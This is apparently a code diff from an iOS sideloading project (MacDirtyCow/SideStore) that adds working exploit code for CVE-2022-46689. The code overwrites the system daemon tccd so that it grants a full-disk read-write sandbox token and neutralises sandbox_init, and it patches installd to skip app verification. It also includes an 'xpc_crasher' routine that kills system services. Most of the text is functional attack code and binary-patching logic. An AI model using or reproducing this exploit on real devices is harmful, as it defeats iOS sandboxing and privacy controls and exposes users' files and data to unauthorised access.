|
||||||
|
patchfind_get_padding(data_const_segment)) == 0) {
|
||||||
|
printf("no padding\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
|
||||||
|
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||||
|
printf("no kTCCServiceMediaLibrary string\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_auth_got__sandbox_init =
|
||||||
|
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
|
||||||
|
dysymtab_command, "_sandbox_init")) == 0) {
|
||||||
|
printf("no sandbox_init\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
|
||||||
|
0) {
|
||||||
|
printf("no just return 0\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
struct mach_header_64* executable_header = executable_map;
|
||||||
|
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - tccd patching
|
||||||
|
|
||||||
|
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||||
|
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||||
|
// re-use it until next reboot.
|
||||||
|
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||||
|
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||||
|
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||||
|
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||||
|
NSLog(@"xpc event handler: %@", object);
|
||||||
|
});
|
||||||
|
xpc_connection_resume(connection);
|
||||||
|
const char* keys[] = {
|
||||||
|
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||||
|
"target_token", "background_session",
|
||||||
|
};
|
||||||
|
xpc_object_t values[] = {
|
||||||
|
xpc_string_create("17087.1"),
|
||||||
|
xpc_string_create("TCCAccessRequest"),
|
||||||
|
xpc_string_create("com.apple.app-sandbox.read-write"),
|
||||||
|
xpc_null_create(),
|
||||||
|
xpc_bool_create(false),
|
||||||
|
xpc_null_create(),
|
||||||
|
xpc_bool_create(false),
|
||||||
|
};
|
||||||
|
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||||
|
#if 0
|
||||||
|
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||||
|
NSLog(@"%@", response_message);
|
||||||
|
|
||||||
|
#endif
|
||||||
|
xpc_connection_send_message_with_reply(
|
||||||
|
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||||
|
^(xpc_object_t object) {
|
||||||
|
if (!object) {
|
||||||
|
NSLog(@"object is nil???");
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
NSLog(@"response: %@", object);
|
||||||
|
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||||
|
NSLog(@"xpc error?");
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
NSLog(@"debug description: %@", [object debugDescription]);
|
||||||
|
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||||
|
NSString* extension_nsstring =
|
||||||
|
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||||
|
completion(extension_nsstring);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||||
|
struct grant_full_disk_access_offsets offsets = {};
|
||||||
|
if (!patchfind(executableMap, executableLength, &offsets)) {
|
||||||
|
return nil;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||||
|
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
|
||||||
|
char* mutableBytes = data.mutableBytes;
|
||||||
|
{
|
||||||
|
// rewrite com.apple.tcc. into blank string
|
||||||
|
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
|
||||||
|
}
|
||||||
|
{
|
||||||
|
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
|
||||||
|
// we need to stick this somewhere; just put it in the padding between
|
||||||
|
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||||
|
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
|
||||||
|
"com.apple.app-sandbox.read-write");
|
||||||
|
struct dyld_chained_ptr_arm64e_rebase targetRebase =
|
||||||
|
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||||
|
offsets.offset_addr_s_kTCCServiceMediaLibrary);
|
||||||
|
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
|
||||||
|
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||||
|
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
|
||||||
|
targetRebase;
|
||||||
|
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
|
||||||
|
strlen("com.apple.app-sandbox.read-write");
|
||||||
|
}
|
||||||
|
if (offsets.is_arm64e) {
|
||||||
|
// make sandbox_init call return 0;
|
||||||
|
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
|
||||||
|
.auth = 1,
|
||||||
|
.bind = 0,
|
||||||
|
.next = 1,
|
||||||
|
.key = 0, // IA
|
||||||
|
.addrDiv = 1,
|
||||||
|
.diversity = 0,
|
||||||
|
.target = offsets.offset_just_return_0,
|
||||||
|
};
|
||||||
|
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||||
|
offsets.offset_auth_got__sandbox_init) =
|
||||||
|
targetRebase;
|
||||||
|
} else {
|
||||||
|
// make sandbox_init call return 0;
|
||||||
|
struct dyld_chained_ptr_64_rebase targetRebase = {
|
||||||
|
.bind = 0,
|
||||||
|
.next = 2,
|
||||||
|
.target = offsets.offset_just_return_0,
|
||||||
|
};
|
||||||
|
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
|
||||||
|
targetRebase;
|
||||||
|
}
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool overwrite_file(int fd, NSData* sourceData) {
|
||||||
|
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||||
|
bool success = false;
|
||||||
|
for (int i = 0; i < 2; i++) {
|
||||||
|
if (unaligned_copy_switch_race(
|
||||||
|
fd, off, sourceData.bytes + off,
|
||||||
|
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||||
|
success = true;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!success) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
|
||||||
|
NSError* _Nullable error)) {
|
||||||
|
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||||
|
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
if (fd == -1) {
|
||||||
|
// iOS 15.3 and below
|
||||||
|
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||||
|
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
}
|
||||||
|
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||||
|
|
||||||
|
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||||
|
NSData* sourceData = patchTCCD(targetMap, targetLength);
|
||||||
|
if (!sourceData) {
|
||||||
|
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:5
|
||||||
|
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!overwrite_file(fd, sourceData)) {
|
||||||
|
overwrite_file(fd, originalData);
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
completion(
|
||||||
|
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:1
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
|
||||||
|
@"not be vulnerable to CVE-2022-46689."
|
||||||
|
}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
|
||||||
|
xpc_crasher("com.apple.tccd");
|
||||||
|
sleep(1);
|
||||||
|
call_tccd(^(NSString* _Nullable extension_token) {
|
||||||
|
overwrite_file(fd, originalData);
|
||||||
|
xpc_crasher("com.apple.tccd");
|
||||||
|
NSError* returnError = nil;
|
||||||
|
if (extension_token == nil) {
|
||||||
|
returnError =
|
||||||
|
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:2
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
|
||||||
|
}];
|
||||||
|
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
|
||||||
|
returnError = [NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:3
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
|
||||||
|
@"instead of an app sandbox token."
|
||||||
|
}];
|
||||||
|
extension_token = nil;
|
||||||
|
}
|
||||||
|
completion(extension_token, returnError);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
|
||||||
|
if (!NSClassFromString(@"NSPresentationIntent")) {
|
||||||
|
// class introduced in iOS 15.0.
|
||||||
|
// TODO(zhuowei): maybe check the actual OS version instead?
|
||||||
|
completion([NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:6
|
||||||
|
userInfo:@{
|
||||||
|
NSLocalizedDescriptionKey :
|
||||||
|
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
|
||||||
|
@"reverted after reboot, so running this may permanently corrupt tccd."
|
||||||
|
}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
|
||||||
|
inDomains:NSUserDomainMask][0];
|
||||||
|
NSURL* sourceURL =
|
||||||
|
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
|
||||||
|
NSError* error = nil;
|
||||||
|
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
|
||||||
|
encoding:NSUTF8StringEncoding
|
||||||
|
error:&error];
|
||||||
|
if (cachedToken) {
|
||||||
|
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
|
||||||
|
if (handle > 0) {
|
||||||
|
// cached version worked
|
||||||
|
completion(nil);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
|
||||||
|
if (error) {
|
||||||
|
completion(error);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
|
||||||
|
if (handle <= 0) {
|
||||||
|
completion([NSError
|
||||||
|
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||||
|
code:4
|
||||||
|
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
[extension_token writeToURL:sourceURL
|
||||||
|
atomically:true
|
||||||
|
encoding:NSUTF8StringEncoding
|
||||||
|
error:&error];
|
||||||
|
completion(nil);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// MARK - installd patch
|
||||||
|
|
||||||
|
struct installd_remove_app_limit_offsets {
|
||||||
|
uint64_t offset_objc_method_list_t_MIInstallableBundle;
|
||||||
|
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
|
||||||
|
uint64_t offset_data_const_end_padding;
|
||||||
|
// MIUninstallRecord::supportsSecureCoding
|
||||||
|
uint64_t offset_return_true;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
|
||||||
|
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
|
||||||
|
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
|
||||||
|
.offset_data_const_end_padding = 0x79c38,
|
||||||
|
.offset_return_true = 0x19860,
|
||||||
|
};
|
||||||
|
|
||||||
|
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
|
||||||
|
size_t executable_length,
|
||||||
|
const char* needle) {
|
||||||
|
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||||
|
if (!str_offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
uint64_t str_file_offset = str_offset - executable_map;
|
||||||
|
for (int i = 0; i < executable_length - 8; i += 8) {
|
||||||
|
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||||
|
if ((val & 0xfffffffful) != str_file_offset) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// baseMethods
|
||||||
|
if (*(uint64_t*)(executable_map + i + 8) != 0) {
|
||||||
|
return i + 8;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
|
||||||
|
// mov w0, #1
|
||||||
|
// ret
|
||||||
|
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
|
||||||
|
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||||
|
if (!offset) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return offset - executable_map;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool patchfind_installd(void* executable_map, size_t executable_length,
|
||||||
|
struct installd_remove_app_limit_offsets* offsets) {
|
||||||
|
struct segment_command_64* data_const_segment = nil;
|
||||||
|
struct symtab_command* symtab_command = nil;
|
||||||
|
struct dysymtab_command* dysymtab_command = nil;
|
||||||
|
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||||
|
&dysymtab_command)) {
|
||||||
|
printf("no sections\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
|
||||||
|
printf("no padding\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
|
||||||
|
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
|
||||||
|
"MIInstallableBundle")) == 0) {
|
||||||
|
printf("no MIInstallableBundle class_rw_t\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
offsets->offset_objc_method_list_t_MIInstallableBundle =
|
||||||
|
(*(uint64_t*)(executable_map +
|
||||||
|
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
|
||||||
|
0xffffffull;
|
||||||
|
|
||||||
|
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
|
||||||
|
0) {
|
||||||
|
printf("no return true\n");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct objc_method {
|
||||||
|
int32_t name;
|
||||||
|
int32_t types;
|
||||||
|
int32_t imp;
|
||||||
|
};
|
||||||
|
|
||||||
|
struct objc_method_list {
|
||||||
|
uint32_t entsizeAndFlags;
|
||||||
|
uint32_t count;
|
||||||
|
struct objc_method methods[];
|
||||||
|
};
|
||||||
|
|
||||||
|
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
|
||||||
|
uint64_t new_offset, uint64_t* out_copied_length,
|
||||||
|
void (^callback)(const char* sel,
|
||||||
|
uint64_t* inout_function_pointer)) {
|
||||||
|
struct objc_method_list* original_list = mutableBytes + old_offset;
|
||||||
|
struct objc_method_list* new_list = mutableBytes + new_offset;
|
||||||
|
*out_copied_length =
|
||||||
|
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
|
||||||
|
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
|
||||||
|
new_list->count = original_list->count;
|
||||||
|
for (int method_index = 0; method_index < original_list->count; method_index++) {
|
||||||
|
struct objc_method* method = &original_list->methods[method_index];
|
||||||
|
// Relative pointers
|
||||||
|
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
|
||||||
|
uint64_t types_file_offset =
|
||||||
|
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
|
||||||
|
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
|
||||||
|
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
|
||||||
|
callback(sel, &imp_file_offset);
|
||||||
|
|
||||||
|
struct objc_method* new_method = &new_list->methods[method_index];
|
||||||
|
new_method->name = (int32_t)((int64_t)name_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
|
||||||
|
new_method->types = (int32_t)((int64_t)types_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
|
||||||
|
new_method->imp = (int32_t)((int64_t)imp_file_offset -
|
||||||
|
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
|
||||||
|
struct installd_remove_app_limit_offsets offsets = {};
|
||||||
|
if (!patchfind_installd(executableMap, executableLength, &offsets)) {
|
||||||
|
return nil;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||||
|
char* mutableBytes = data.mutableBytes;
|
||||||
|
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
|
||||||
|
uint64_t copied_size = 0;
|
||||||
|
uint64_t new_method_list_offset = current_empty_space;
|
||||||
|
patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
|
||||||
|
current_empty_space, &copied_size,
|
||||||
|
^(const char* sel, uint64_t* inout_address) {
|
||||||
|
if (strcmp(sel, "performVerificationWithError:") != 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
*inout_address = offsets.offset_return_true;
|
||||||
|
});
|
||||||
|
current_empty_space += copied_size;
|
||||||
|
((struct
|
||||||
|
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||||
|
offsets
|
||||||
|
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
|
||||||
|
->target = new_method_list_offset;
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool patch_installd() {
|
||||||
|
const char* targetPath = "/usr/libexec/installd";
|
||||||
|
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||||
|
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||||
|
lseek(fd, 0, SEEK_SET);
|
||||||
|
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||||
|
|
||||||
|
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||||
|
NSData* sourceData = make_patch_installd(targetMap, targetLength);
|
||||||
|
if (!sourceData) {
|
||||||
|
NSLog(@"can't patchfind");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!overwrite_file(fd, sourceData)) {
|
||||||
|
overwrite_file(fd, originalData);
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
NSLog(@"can't overwrite");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
munmap(targetMap, targetLength);
|
||||||
|
xpc_crasher("com.apple.mobile.installd");
|
||||||
|
sleep(1);
|
||||||
|
|
||||||
|
// TODO(zhuowei): for now we revert it once installd starts
|
||||||
|
// so the change will only last until when this installd exits
|
||||||
|
overwrite_file(fd, originalData);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
20
MacDirtyCow/helpers.h
Normal file
20
MacDirtyCow/helpers.h
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
//
|
||||||
|
// helpers.h
|
||||||
|
// AltStore
|
||||||
|
//
|
||||||
|
// Created by June P on 2023/11/28.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
#ifndef helpers_h
|
||||||
|
#define helpers_h
|
||||||
|
|
||||||
|
char* get_temp_file_path(void);
|
||||||
|
void test_nsexpressions(void);
|
||||||
|
char* set_up_tmp_file(void);
|
||||||
|
|
||||||
|
void xpc_crasher(char* service_name);
|
||||||
|
|
||||||
|
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
|
||||||
|
|
||||||
|
#endif /* helpers_h */
|
||||||
138
MacDirtyCow/helpers.m
Normal file
138
MacDirtyCow/helpers.m
Normal file
@@ -0,0 +1,138 @@
|
|||||||
|
//
|
||||||
|
// helpers.m
|
||||||
|
// MacDirtyCow
|
||||||
|
//
|
||||||
|
// Created by June P on 2023/11/28.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <dirent.h>
|
||||||
|
|
||||||
|
char* get_temp_file_path(void) {
|
||||||
|
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// create a read-only test file we can target:
|
||||||
|
char* set_up_tmp_file(void) {
|
||||||
|
char* path = get_temp_file_path();
|
||||||
|
printf("path: %s\n", path);
|
||||||
|
|
||||||
|
FILE* f = fopen(path, "w");
|
||||||
|
if (!f) {
|
||||||
|
printf("opening the tmp file failed...\n");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
char* buf = malloc(PAGE_SIZE*10);
|
||||||
|
memset(buf, 'A', PAGE_SIZE*10);
|
||||||
|
fwrite(buf, PAGE_SIZE*10, 1, f);
|
||||||
|
//fclose(f);
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
kern_return_t
|
||||||
|
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
|
||||||
|
|
||||||
|
struct xpc_w00t {
|
||||||
|
mach_msg_header_t hdr;
|
||||||
|
mach_msg_body_t body;
|
||||||
|
mach_msg_port_descriptor_t client_port;
|
||||||
|
mach_msg_port_descriptor_t reply_port;
|
||||||
|
};
|
||||||
|
|
||||||
|
mach_port_t get_send_once(mach_port_t recv) {
|
||||||
|
mach_port_t so = MACH_PORT_NULL;
|
||||||
|
mach_msg_type_name_t type = 0;
|
||||||
|
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("port right extraction failed: %s\n", mach_error_string(err));
|
||||||
|
return MACH_PORT_NULL;
|
||||||
|
}
|
||||||
|
printf("made so: 0x%x from recv: 0x%x\n", so, recv);
|
||||||
|
return so;
|
||||||
|
}
|
||||||
|
|
||||||
|
// copy-pasted from an exploit I wrote in 2019...
|
||||||
|
// still works...
|
||||||
|
|
||||||
|
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
|
||||||
|
|
||||||
|
void xpc_crasher(char* service_name) {
|
||||||
|
mach_port_t client_port = MACH_PORT_NULL;
|
||||||
|
mach_port_t reply_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
mach_port_t service_port = MACH_PORT_NULL;
|
||||||
|
|
||||||
|
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
|
||||||
|
if(err != KERN_SUCCESS){
|
||||||
|
printf("unable to look up %s\n", service_name);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (service_port == MACH_PORT_NULL) {
|
||||||
|
printf("bad service port\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// allocate the client and reply port:
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_t so0 = get_send_once(client_port);
|
||||||
|
mach_port_t so1 = get_send_once(client_port);
|
||||||
|
|
||||||
|
// insert a send so we maintain the ability to send to this port
|
||||||
|
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("port right insertion failed: %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("port allocation failed: %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct xpc_w00t msg;
|
||||||
|
memset(&msg.hdr, 0, sizeof(msg));
|
||||||
|
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
|
||||||
|
msg.hdr.msgh_size = sizeof(msg);
|
||||||
|
msg.hdr.msgh_remote_port = service_port;
|
||||||
|
msg.hdr.msgh_id = 'w00t';
|
||||||
|
|
||||||
|
msg.body.msgh_descriptor_count = 2;
|
||||||
|
|
||||||
|
msg.client_port.name = client_port;
|
||||||
|
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
|
||||||
|
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
msg.reply_port.name = reply_port;
|
||||||
|
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
|
||||||
|
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
|
||||||
|
|
||||||
|
err = mach_msg(&msg.hdr,
|
||||||
|
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
|
||||||
|
msg.hdr.msgh_size,
|
||||||
|
0,
|
||||||
|
MACH_PORT_NULL,
|
||||||
|
MACH_MSG_TIMEOUT_NONE,
|
||||||
|
MACH_PORT_NULL);
|
||||||
|
|
||||||
|
if (err != KERN_SUCCESS) {
|
||||||
|
printf("w00t message send failed: %s\n", mach_error_string(err));
|
||||||
|
return;
|
||||||
|
} else {
|
||||||
|
printf("sent xpc w00t message\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_deallocate(mach_task_self(), so0);
|
||||||
|
mach_port_deallocate(mach_task_self(), so1);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
20
MacDirtyCow/vm_unaligned_copy_switch_race.h
Normal file
20
MacDirtyCow/vm_unaligned_copy_switch_race.h
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
//
|
||||||
|
// vm_unaligned_copy_switch_race.h
|
||||||
|
// AltStore
|
||||||
|
//
|
||||||
|
// Created by June P on 2023/11/28.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
#ifndef vm_unaligned_copy_switch_race_h
|
||||||
|
#define vm_unaligned_copy_switch_race_h
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
|
||||||
|
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
|
||||||
|
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
|
||||||
|
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
|
||||||
|
bool unaligned_copy_switch_race(int file_to_overwrite, off_t file_offset, const void* overwrite_data, size_t overwrite_length);
|
||||||
|
|
||||||
|
#endif /* vm_unaligned_copy_switch_race_h */
|
||||||
370
MacDirtyCow/vm_unaligned_copy_switch_race.m
Normal file
370
MacDirtyCow/vm_unaligned_copy_switch_race.m
Normal file
@@ -0,0 +1,370 @@
|
|||||||
|
//
|
||||||
|
// vm_unaligned_copy_switch_race.m
|
||||||
|
// MacDirtyCow
|
||||||
|
//
|
||||||
|
// Created by June P on 2023/11/28.
|
||||||
|
// Copyright © 2023 SideStore. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
|
||||||
|
// modified to compile outside of XNU
